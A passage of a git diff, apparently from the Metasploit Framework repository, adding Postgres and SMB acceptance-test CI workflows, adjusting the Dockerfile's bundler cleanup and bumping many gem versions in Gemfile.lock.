ports: ["5432:5432"]
|
||||
env:
|
||||
POSTGRES_USER: postgres
|
||||
POSTGRES_PASSWORD: password
|
||||
options: >-
|
||||
--health-cmd pg_isready
|
||||
--health-interval 10s
|
||||
--health-timeout 5s
|
||||
--health-retries 5
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
os:
|
||||
- ubuntu-latest
|
||||
docker_image:
|
||||
- postgres:9.4
|
||||
- postgres:16.2
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
|
||||
name: ${{ matrix.docker_image }} - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: Extract runtime version
|
||||
run: |
|
||||
echo "RUNTIME_VERSION=$(echo $DOCKER_IMAGE | awk -F: '{ print $2 }')" >> $GITHUB_ENV
|
||||
echo "DOCKER_IMAGE_FILENAME=$(echo $DOCKER_IMAGE | tr -d ':')" >> $GITHUB_ENV
|
||||
env:
|
||||
DOCKER_IMAGE: ${{ matrix.docker_image }}
|
||||
OS: ${{ matrix.os }}
|
||||
|
||||
- name: acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
RUNTIME_VERSION: ${{ env.RUNTIME_VERSION }}
|
||||
# Unix run command:
|
||||
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
|
||||
# Windows cmd command:
|
||||
# set SPEC_HELPER_LOAD_METASPLOIT=false
|
||||
# bundle exec rspec .\spec\acceptance
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/postgres_spec.rb
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: ${{ env.DOCKER_IMAGE_FILENAME }}-${{ matrix.os }}
|
||||
path: tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
name: Generate report
|
||||
needs:
|
||||
- postgres
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development"
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: allure generate
|
||||
if: always()
|
||||
run: |
|
||||
export VERSION=2.22.1
|
||||
|
||||
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
|
||||
tar -zxvf allure-$VERSION.tgz -C .
|
||||
|
||||
ls -la ${{steps.download.outputs.download-path}}
|
||||
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
|
||||
|
||||
find ${{steps.download.outputs.download-path}}
|
||||
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
./allure-report
|
||||
@@ -0,0 +1,166 @@
|
||||
name: Acceptance
|
||||
|
||||
# Optional, enabling concurrency limits: https://docs.github.com/en/actions/using-jobs/using-concurrency
|
||||
#concurrency:
|
||||
# group: ${{ github.ref }}-${{ github.workflow }}
|
||||
# cancel-in-progress: ${{ github.ref != 'refs/heads/main' }}
|
||||
|
||||
# https://docs.github.com/en/actions/using-workflows/workflow-syntax-for-github-actions#permissions
|
||||
permissions:
|
||||
actions: none
|
||||
checks: none
|
||||
contents: none
|
||||
deployments: none
|
||||
id-token: none
|
||||
issues: none
|
||||
discussions: none
|
||||
packages: none
|
||||
pages: none
|
||||
pull-requests: none
|
||||
repository-projects: none
|
||||
security-events: none
|
||||
statuses: none
|
||||
|
||||
on:
|
||||
push:
|
||||
branches-ignore:
|
||||
- gh-pages
|
||||
- metakitty
|
||||
pull_request:
|
||||
branches:
|
||||
- '*'
|
||||
paths:
|
||||
- 'metsploit-framework.gemspec'
|
||||
- 'Gemfile.lock'
|
||||
- '**/**smb**'
|
||||
- 'spec/acceptance/**'
|
||||
- 'spec/support/acceptance/**'
|
||||
- 'spec/acceptance_spec_helper.rb'
|
||||
# Example of running as a cron, to weed out flaky tests
|
||||
# schedule:
|
||||
# - cron: '*/15 * * * *'
|
||||
|
||||
jobs:
|
||||
smb:
|
||||
runs-on: ${{ matrix.os }}
|
||||
timeout-minutes: 40
|
||||
|
||||
strategy:
|
||||
fail-fast: true
|
||||
matrix:
|
||||
ruby:
|
||||
- '3.2'
|
||||
os:
|
||||
- ubuntu-latest
|
||||
|
||||
env:
|
||||
RAILS_ENV: test
|
||||
SMB_USERNAME: acceptance_tests_user
|
||||
SMB_PASSWORD: acceptance_tests_password
|
||||
|
||||
name: SMB Acceptance - ${{ matrix.os }} - Ruby ${{ matrix.ruby }}
|
||||
steps:
|
||||
- name: Install system dependencies
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Run docker container
|
||||
working-directory: 'test/smb'
|
||||
run: |
|
||||
docker compose build
|
||||
docker compose up --wait -d
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development pcap"
|
||||
# Nokogiri doesn't release pre-compiled binaries for preview versions of Ruby; So force compilation with BUNDLE_FORCE_RUBY_PLATFORM
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: "${{ contains(matrix.ruby, 'preview') && 'true' || 'false' }}"
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
|
||||
- name: acceptance
|
||||
env:
|
||||
SPEC_HELPER_LOAD_METASPLOIT: false
|
||||
SPEC_OPTS: "--tag acceptance --require acceptance_spec_helper.rb --color --format documentation --format AllureRspec::RSpecFormatter"
|
||||
RUNTIME_VERSION: 'latest'
|
||||
# Unix run command:
|
||||
# SPEC_HELPER_LOAD_METASPLOIT=false bundle exec ./spec/acceptance
|
||||
# Windows cmd command:
|
||||
# set SPEC_HELPER_LOAD_METASPLOIT=false
|
||||
# bundle exec rspec .\spec\acceptance
|
||||
# Note: rspec retry is intentionally not used, as it can cause issues with allure's reporting
|
||||
# Additionally - flakey tests should be fixed or marked as flakey instead of silently retried
|
||||
run: |
|
||||
bundle exec rspec spec/acceptance/smb_spec.rb
|
||||
|
||||
- name: Archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
# Provide a unique artifact for each matrix os, otherwise race conditions can lead to corrupt zips
|
||||
name: smb_acceptance-${{ matrix.os }}
|
||||
path: tmp/allure-raw-data
|
||||
|
||||
# Generate a final report from the previous test results
|
||||
report:
|
||||
name: Generate report
|
||||
needs:
|
||||
- smb
|
||||
runs-on: ubuntu-latest
|
||||
if: always()
|
||||
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v4
|
||||
if: always()
|
||||
|
||||
- name: Install system dependencies (Linux)
|
||||
if: always()
|
||||
run: sudo apt-get -y --no-install-recommends install libpcap-dev graphviz
|
||||
|
||||
- name: Setup Ruby
|
||||
if: always()
|
||||
env:
|
||||
BUNDLE_WITHOUT: "coverage development"
|
||||
BUNDLE_FORCE_RUBY_PLATFORM: true
|
||||
uses: ruby/setup-ruby@v1
|
||||
with:
|
||||
ruby-version: '${{ matrix.ruby }}'
|
||||
bundler-cache: true
|
||||
cache-version: 4
|
||||
# Github actions with Ruby requires Bundler 2.2.18+
|
||||
# https://github.com/ruby/setup-ruby/tree/d2b39ad0b52eca07d23f3aa14fdf2a3fcc1f411c#windows
|
||||
bundler: 2.2.33
|
||||
|
||||
- uses: actions/download-artifact@v4
|
||||
id: download
|
||||
if: always()
|
||||
with:
|
||||
# Note: Not specifying a name will download all artifacts from the previous workflow jobs
|
||||
path: raw-data
|
||||
|
||||
- name: allure generate
|
||||
if: always()
|
||||
run: |
|
||||
export VERSION=2.22.1
|
||||
|
||||
curl -o allure-$VERSION.tgz -Ls https://github.com/allure-framework/allure2/releases/download/$VERSION/allure-$VERSION.tgz
|
||||
tar -zxvf allure-$VERSION.tgz -C .
|
||||
|
||||
ls -la ${{steps.download.outputs.download-path}}
|
||||
./allure-$VERSION/bin/allure generate ${{steps.download.outputs.download-path}}/* -o ./allure-report
|
||||
|
||||
find ${{steps.download.outputs.download-path}}
|
||||
bundle exec ruby tools/dev/report_generation/support_matrix/generate.rb --allure-data ${{steps.download.outputs.download-path}} > ./allure-report/support_matrix.html
|
||||
|
||||
- name: archive results
|
||||
if: always()
|
||||
uses: actions/upload-artifact@v4
|
||||
with:
|
||||
name: final-report-${{ github.run_id }}
|
||||
path: |
|
||||
./allure-report
|
||||
@@ -33,7 +33,7 @@ jobs:
|
||||
name: Docker Build
|
||||
steps:
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: docker-compose build
|
||||
run: |
|
||||
@@ -76,7 +76,7 @@ jobs:
|
||||
include:
|
||||
- os: ubuntu-latest
|
||||
ruby: '3.1'
|
||||
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" DATASTORE_FALLBACKS=1'
|
||||
test_cmd: 'bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content" MSF_FEATURE_DEFER_MODULE_LOADS=1'
|
||||
test_cmd:
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag content"
|
||||
- bundle exec rake rspec-rerun:spec SPEC_OPTS="--tag ~content"
|
||||
@@ -93,7 +93,7 @@ jobs:
|
||||
run: sudo apt-get install -y --no-install-recommends libpcap-dev graphviz
|
||||
|
||||
- name: Checkout code
|
||||
uses: actions/checkout@v3
|
||||
uses: actions/checkout@v4
|
||||
|
||||
- name: Setup Ruby
|
||||
env:
|
||||
|
||||
+6
-2
@@ -1,7 +1,8 @@
|
||||
FROM ruby:3.1.4-alpine3.18 AS builder
|
||||
LABEL maintainer="Rapid7"
|
||||
|
||||
ARG BUNDLER_CONFIG_ARGS="set clean 'true' set no-cache 'true' set system 'true' set without 'development test coverage'"
|
||||
ARG BUNDLER_CONFIG_ARGS="set no-cache 'true' set system 'true' set without 'development test coverage'"
|
||||
ARG BUNDLER_FORCE_CLEAN="true"
|
||||
ENV APP_HOME=/usr/src/metasploit-framework
|
||||
ENV TOOLS_HOME=/usr/src/tools
|
||||
ENV BUNDLE_IGNORE_MESSAGES="true"
|
||||
@@ -33,8 +34,11 @@ RUN apk add --no-cache \
|
||||
go \
|
||||
&& echo "gem: --no-document" > /etc/gemrc \
|
||||
&& gem update --system \
|
||||
&& bundle config $BUNDLER_ARGS \
|
||||
&& bundle config $BUNDLER_CONFIG_ARGS \
|
||||
&& bundle install --jobs=8 \
|
||||
&& if [ "${BUNDLER_FORCE_CLEAN}" == "true" ]; then \
|
||||
bundle clean --force; \
|
||||
fi \
|
||||
# temp fix for https://github.com/bundler/bundler/issues/6680
|
||||
&& rm -rf /usr/local/bundle/cache \
|
||||
# needed so non root users can read content of the bundle
|
||||
|
||||
@@ -52,3 +52,4 @@ group :test do
|
||||
# Manipulate Time.now in specs
|
||||
gem 'timecop'
|
||||
end
|
||||
|
||||
|
||||
+131
-128
@@ -1,7 +1,7 @@
|
||||
PATH
|
||||
remote: .
|
||||
specs:
|
||||
metasploit-framework (6.3.51)
|
||||
metasploit-framework (6.4.9)
|
||||
actionpack (~> 7.0.0)
|
||||
activerecord (~> 7.0.0)
|
||||
activesupport (~> 7.0.0)
|
||||
@@ -20,7 +20,7 @@ PATH
|
||||
em-http-request
|
||||
eventmachine
|
||||
faker
|
||||
faraday
|
||||
faraday (= 2.7.11)
|
||||
faraday-retry
|
||||
faye-websocket
|
||||
filesize
|
||||
@@ -33,7 +33,7 @@ PATH
|
||||
metasploit-concern
|
||||
metasploit-credential
|
||||
metasploit-model
|
||||
metasploit-payloads (= 2.0.161)
|
||||
metasploit-payloads (= 2.0.166)
|
||||
metasploit_data_models
|
||||
metasploit_payloads-mettle (= 1.0.26)
|
||||
mqtt
|
||||
@@ -60,6 +60,7 @@ PATH
|
||||
rb-readline
|
||||
recog
|
||||
redcarpet
|
||||
reline
|
||||
rex-arch
|
||||
rex-bin_tools
|
||||
rex-core
|
||||
@@ -80,11 +81,11 @@ PATH
|
||||
rex-zip
|
||||
ruby-macho
|
||||
ruby-mysql
|
||||
ruby_smb (~> 3.3.0)
|
||||
ruby_smb (~> 3.3.3)
|
||||
rubyntlm
|
||||
rubyzip
|
||||
sinatra
|
||||
sqlite3
|
||||
sqlite3 (= 1.6.6)
|
||||
sshkey
|
||||
swagger-blocks
|
||||
thin
|
||||
@@ -103,36 +104,36 @@ GEM
|
||||
remote: https://rubygems.org/
|
||||
specs:
|
||||
Ascii85 (1.1.0)
|
||||
actionpack (7.0.8)
|
||||
actionview (= 7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
actionpack (7.0.8.1)
|
||||
actionview (= 7.0.8.1)
|
||||
activesupport (= 7.0.8.1)
|
||||
rack (~> 2.0, >= 2.2.4)
|
||||
rack-test (>= 0.6.3)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.0, >= 1.2.0)
|
||||
actionview (7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
actionview (7.0.8.1)
|
||||
activesupport (= 7.0.8.1)
|
||||
builder (~> 3.1)
|
||||
erubi (~> 1.4)
|
||||
rails-dom-testing (~> 2.0)
|
||||
rails-html-sanitizer (~> 1.1, >= 1.2.0)
|
||||
activemodel (7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
activerecord (7.0.8)
|
||||
activemodel (= 7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
activesupport (7.0.8)
|
||||
activemodel (7.0.8.1)
|
||||
activesupport (= 7.0.8.1)
|
||||
activerecord (7.0.8.1)
|
||||
activemodel (= 7.0.8.1)
|
||||
activesupport (= 7.0.8.1)
|
||||
activesupport (7.0.8.1)
|
||||
concurrent-ruby (~> 1.0, >= 1.0.2)
|
||||
i18n (>= 1.6, < 2)
|
||||
minitest (>= 5.1)
|
||||
tzinfo (~> 2.0)
|
||||
addressable (2.8.5)
|
||||
addressable (2.8.6)
|
||||
public_suffix (>= 2.0.2, < 6.0)
|
||||
afm (0.2.2)
|
||||
allure-rspec (2.23.0)
|
||||
allure-ruby-commons (= 2.23.0)
|
||||
allure-rspec (2.24.3)
|
||||
allure-ruby-commons (= 2.24.3)
|
||||
rspec-core (>= 3.8, < 4)
|
||||
allure-ruby-commons (2.23.0)
|
||||
allure-ruby-commons (2.24.3)
|
||||
mime-types (>= 3.3, < 4)
|
||||
require_all (>= 2, < 4)
|
||||
rspec-expectations (~> 3.12)
|
||||
@@ -140,59 +141,59 @@ GEM
|
||||
arel-helpers (2.14.0)
|
||||
activerecord (>= 3.1.0, < 8)
|
||||
ast (2.4.2)
|
||||
aws-eventstream (1.2.0)
|
||||
aws-partitions (1.834.0)
|
||||
aws-sdk-core (3.185.1)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
aws-eventstream (1.3.0)
|
||||
aws-partitions (1.915.0)
|
||||
aws-sdk-core (3.192.0)
|
||||
aws-eventstream (~> 1, >= 1.3.0)
|
||||
aws-partitions (~> 1, >= 1.651.0)
|
||||
aws-sigv4 (~> 1.5)
|
||||
aws-sigv4 (~> 1.8)
|
||||
jmespath (~> 1, >= 1.6.1)
|
||||
aws-sdk-ec2 (1.411.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sdk-ec2 (1.450.0)
|
||||
aws-sdk-core (~> 3, >= 3.191.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-ec2instanceconnect (1.34.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sdk-ec2instanceconnect (1.38.0)
|
||||
aws-sdk-core (~> 3, >= 3.191.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-iam (1.87.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sdk-iam (1.96.0)
|
||||
aws-sdk-core (~> 3, >= 3.191.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-kms (1.72.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sdk-kms (1.79.0)
|
||||
aws-sdk-core (~> 3, >= 3.191.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sdk-s3 (1.136.0)
|
||||
aws-sdk-core (~> 3, >= 3.181.0)
|
||||
aws-sdk-s3 (1.147.0)
|
||||
aws-sdk-core (~> 3, >= 3.192.0)
|
||||
aws-sdk-kms (~> 1)
|
||||
aws-sigv4 (~> 1.6)
|
||||
aws-sdk-ssm (1.158.0)
|
||||
aws-sdk-core (~> 3, >= 3.184.0)
|
||||
aws-sigv4 (~> 1.8)
|
||||
aws-sdk-ssm (1.166.0)
|
||||
aws-sdk-core (~> 3, >= 3.191.0)
|
||||
aws-sigv4 (~> 1.1)
|
||||
aws-sigv4 (1.6.0)
|
||||
aws-sigv4 (1.8.0)
|
||||
aws-eventstream (~> 1, >= 1.0.2)
|
||||
base64 (0.1.1)
|
||||
bcrypt (3.1.19)
|
||||
base64 (0.2.0)
|
||||
bcrypt (3.1.20)
|
||||
bcrypt_pbkdf (1.1.0)
|
||||
bigdecimal (3.1.7)
|
||||
bindata (2.4.15)
|
||||
bootsnap (1.16.0)
|
||||
bootsnap (1.18.3)
|
||||
msgpack (~> 1.2)
|
||||
bson (4.15.0)
|
||||
bson (5.0.0)
|
||||
builder (3.2.4)
|
||||
byebug (11.1.3)
|
||||
chunky_png (1.4.0)
|
||||
coderay (1.1.3)
|
||||
concurrent-ruby (1.2.2)
|
||||
cookiejar (0.3.3)
|
||||
concurrent-ruby (1.2.3)
|
||||
cookiejar (0.3.4)
|
||||
crass (1.0.6)
|
||||
daemons (1.4.1)
|
||||
date (3.3.3)
|
||||
date (3.3.4)
|
||||
debug (1.8.0)
|
||||
irb (>= 1.5.0)
|
||||
reline (>= 0.3.1)
|
||||
diff-lcs (1.5.0)
|
||||
dnsruby (1.70.0)
|
||||
diff-lcs (1.5.1)
|
||||
dnsruby (1.72.1)
|
||||
simpleidn (~> 0.2.1)
|
||||
docile (1.4.0)
|
||||
domain_name (0.5.20190701)
|
||||
unf (>= 0.0.5, < 1.0.0)
|
||||
domain_name (0.6.20240107)
|
||||
ed25519 (1.3.0)
|
||||
em-http-request (1.1.7)
|
||||
addressable (>= 2.3.4)
|
||||
@@ -204,19 +205,19 @@ GEM
|
||||
eventmachine (>= 1.0.0.beta.4)
|
||||
erubi (1.12.0)
|
||||
eventmachine (1.2.7)
|
||||
factory_bot (6.2.1)
|
||||
factory_bot (6.4.6)
|
||||
activesupport (>= 5.0.0)
|
||||
factory_bot_rails (6.2.0)
|
||||
factory_bot (~> 6.2.0)
|
||||
factory_bot_rails (6.4.3)
|
||||
factory_bot (~> 6.4)
|
||||
railties (>= 5.0.0)
|
||||
faker (3.2.1)
|
||||
faker (3.3.1)
|
||||
i18n (>= 1.8.11, < 2)
|
||||
faraday (2.7.11)
|
||||
base64
|
||||
faraday-net_http (>= 2.0, < 3.1)
|
||||
ruby2_keywords (>= 0.0.4)
|
||||
faraday-net_http (3.0.2)
|
||||
faraday-retry (2.2.0)
|
||||
faraday-retry (2.2.1)
|
||||
faraday (~> 2.0)
|
||||
faye-websocket (0.11.3)
|
||||
eventmachine (>= 0.12.0)
|
||||
@@ -238,21 +239,21 @@ GEM
|
||||
domain_name (~> 0.5)
|
||||
http_parser.rb (0.8.0)
|
||||
httpclient (2.8.3)
|
||||
i18n (1.14.1)
|
||||
i18n (1.14.4)
|
||||
concurrent-ruby (~> 1.0)
|
||||
io-console (0.6.0)
|
||||
io-console (0.7.2)
|
||||
irb (1.7.4)
|
||||
reline (>= 0.3.6)
|
||||
jmespath (1.6.2)
|
||||
jsobfu (0.4.2)
|
||||
rkelly-remix
|
||||
json (2.6.3)
|
||||
json (2.7.2)
|
||||
language_server-protocol (3.17.0.3)
|
||||
little-plugger (1.1.4)
|
||||
logging (2.3.1)
|
||||
little-plugger (~> 1.1)
|
||||
multi_json (~> 1.14)
|
||||
loofah (2.21.3)
|
||||
loofah (2.22.0)
|
||||
crass (~> 1.0.2)
|
||||
nokogiri (>= 1.12.0)
|
||||
macaddr (1.7.2)
|
||||
@@ -264,7 +265,7 @@ GEM
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
zeitwerk
|
||||
metasploit-credential (6.0.6)
|
||||
metasploit-credential (6.0.9)
|
||||
metasploit-concern
|
||||
metasploit-model
|
||||
metasploit_data_models (>= 5.0.0)
|
||||
@@ -278,7 +279,7 @@ GEM
|
||||
activemodel (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
railties (~> 7.0)
|
||||
metasploit-payloads (2.0.161)
|
||||
metasploit-payloads (2.0.166)
|
||||
metasploit_data_models (6.0.3)
|
||||
activerecord (~> 7.0)
|
||||
activesupport (~> 7.0)
|
||||
@@ -290,34 +291,35 @@ GEM
|
||||
recog
|
||||
webrick
|
||||
metasploit_payloads-mettle (1.0.26)
|
||||
method_source (1.0.0)
|
||||
mime-types (3.5.1)
|
||||
method_source (1.1.0)
|
||||
mime-types (3.5.2)
|
||||
mime-types-data (~> 3.2015)
|
||||
mime-types-data (3.2023.1003)
|
||||
mini_portile2 (2.8.4)
|
||||
minitest (5.20.0)
|
||||
mime-types-data (3.2024.0305)
|
||||
mini_portile2 (2.8.6)
|
||||
minitest (5.22.3)
|
||||
mqtt (0.6.0)
|
||||
msgpack (1.6.1)
|
||||
multi_json (1.15.0)
|
||||
mustermann (3.0.0)
|
||||
ruby2_keywords (~> 0.0.1)
|
||||
nessus_rest (0.1.6)
|
||||
net-imap (0.4.0)
|
||||
net-imap (0.4.10)
|
||||
date
|
||||
net-protocol
|
||||
net-ldap (0.18.0)
|
||||
net-protocol (0.2.1)
|
||||
net-ldap (0.19.0)
|
||||
net-protocol (0.2.2)
|
||||
timeout
|
||||
net-smtp (0.4.0)
|
||||
net-smtp (0.5.0)
|
||||
net-protocol
|
||||
net-ssh (7.2.0)
|
||||
net-ssh (7.2.3)
|
||||
network_interface (0.0.4)
|
||||
nexpose (7.3.0)
|
||||
nio4r (2.5.9)
|
||||
nio4r (2.7.1)
|
||||
nokogiri (1.14.5)
|
||||
mini_portile2 (~> 2.8.0)
|
||||
racc (~> 1.4)
|
||||
nori (2.6.0)
|
||||
nori (2.7.0)
|
||||
bigdecimal
|
||||
octokit (4.25.1)
|
||||
faraday (>= 1, < 3)
|
||||
sawyer (~> 0.9)
|
||||
@@ -326,31 +328,32 @@ GEM
|
||||
openvas-omp (0.0.4)
|
||||
packetfu (2.0.0)
|
||||
pcaprub (~> 0.13.1)
|
||||
parallel (1.23.0)
|
||||
parser (3.2.2.4)
|
||||
parallel (1.24.0)
|
||||
parser (3.3.0.5)
|
||||
ast (~> 2.4.1)
|
||||
racc
|
||||
patch_finder (1.0.2)
|
||||
pcaprub (0.13.1)
|
||||
pdf-reader (2.11.0)
|
||||
pcaprub (0.13.2)
|
||||
pdf-reader (2.12.0)
|
||||
Ascii85 (~> 1.0)
|
||||
afm (~> 0.2.1)
|
||||
hashery (~> 2.0)
|
||||
ruby-rc4
|
||||
ttfunk
|
||||
pg (1.5.4)
|
||||
pg (1.5.6)
|
||||
pry (0.14.2)
|
||||
coderay (~> 1.1)
|
||||
method_source (~> 1.0)
|
||||
pry-byebug (3.10.1)
|
||||
byebug (~> 11.0)
|
||||
pry (>= 0.13, < 0.15)
|
||||
public_suffix (5.0.3)
|
||||
puma (6.4.0)
|
||||
public_suffix (5.0.5)
|
||||
puma (6.4.2)
|
||||
nio4r (~> 2.0)
|
||||
racc (1.7.1)
|
||||
rack (2.2.8)
|
||||
rack-protection (3.1.0)
|
||||
racc (1.7.3)
|
||||
rack (2.2.9)
|
||||
rack-protection (3.2.0)
|
||||
base64 (>= 0.1.0)
|
||||
rack (~> 2.2, >= 2.2.4)
|
||||
rack-test (2.1.0)
|
||||
rack (>= 1.3)
|
||||
@@ -361,23 +364,23 @@ GEM
|
||||
rails-html-sanitizer (1.6.0)
|
||||
loofah (~> 2.21)
|
||||
nokogiri (~> 1.14)
|
||||
railties (7.0.8)
|
||||
actionpack (= 7.0.8)
|
||||
activesupport (= 7.0.8)
|
||||
railties (7.0.8.1)
|
||||
actionpack (= 7.0.8.1)
|
||||
activesupport (= 7.0.8.1)
|
||||
method_source
|
||||
rake (>= 12.2)
|
||||
thor (~> 1.0)
|
||||
zeitwerk (~> 2.5)
|
||||
rainbow (3.1.1)
|
||||
rake (13.0.6)
|
||||
rasn1 (0.12.1)
|
||||
rake (13.2.1)
|
||||
rasn1 (0.13.0)
|
||||
strptime (~> 0.2.5)
|
||||
rb-readline (0.5.5)
|
||||
recog (3.1.2)
|
||||
recog (3.1.5)
|
||||
nokogiri
|
||||
redcarpet (3.6.0)
|
||||
regexp_parser (2.8.1)
|
||||
reline (0.3.8)
|
||||
regexp_parser (2.9.0)
|
||||
reline (0.5.2)
|
||||
io-console (~> 0.5)
|
||||
require_all (3.0.0)
|
||||
rex-arch (0.1.15)
|
||||
@@ -388,7 +391,7 @@ GEM
|
||||
rex-core
|
||||
rex-struct2
|
||||
rex-text
|
||||
rex-core (0.1.31)
|
||||
rex-core (0.1.32)
|
||||
rex-encoder (0.1.7)
|
||||
metasm
|
||||
rex-arch
|
||||
@@ -418,63 +421,62 @@ GEM
|
||||
metasm
|
||||
rex-core
|
||||
rex-text
|
||||
rex-socket (0.1.55)
|
||||
rex-socket (0.1.57)
|
||||
rex-core
|
||||
rex-sslscan (0.1.10)
|
||||
rex-core
|
||||
rex-socket
|
||||
rex-text
|
||||
rex-struct2 (0.1.4)
|
||||
rex-text (0.2.53)
|
||||
rex-text (0.2.57)
|
||||
rex-zip (0.1.5)
|
||||
rex-text
|
||||
rexml (3.2.6)
|
||||
rkelly-remix (0.0.7)
|
||||
rspec (3.12.0)
|
||||
rspec-core (~> 3.12.0)
|
||||
rspec-expectations (~> 3.12.0)
|
||||
rspec-mocks (~> 3.12.0)
|
||||
rspec-core (3.12.2)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-expectations (3.12.3)
|
||||
rspec (3.13.0)
|
||||
rspec-core (~> 3.13.0)
|
||||
rspec-expectations (~> 3.13.0)
|
||||
rspec-mocks (~> 3.13.0)
|
||||
rspec-core (3.13.0)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-expectations (3.13.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-mocks (3.12.6)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-mocks (3.13.0)
|
||||
diff-lcs (>= 1.2.0, < 2.0)
|
||||
rspec-support (~> 3.12.0)
|
||||
rspec-rails (6.0.3)
|
||||
rspec-support (~> 3.13.0)
|
||||
rspec-rails (6.1.2)
|
||||
actionpack (>= 6.1)
|
||||
activesupport (>= 6.1)
|
||||
railties (>= 6.1)
|
||||
rspec-core (~> 3.12)
|
||||
rspec-expectations (~> 3.12)
|
||||
rspec-mocks (~> 3.12)
|
||||
rspec-support (~> 3.12)
|
||||
rspec-core (~> 3.13)
|
||||
rspec-expectations (~> 3.13)
|
||||
rspec-mocks (~> 3.13)
|
||||
rspec-support (~> 3.13)
|
||||
rspec-rerun (1.1.0)
|
||||
rspec (~> 3.0)
|
||||
rspec-support (3.12.1)
|
||||
rubocop (1.56.4)
|
||||
base64 (~> 0.1.1)
|
||||
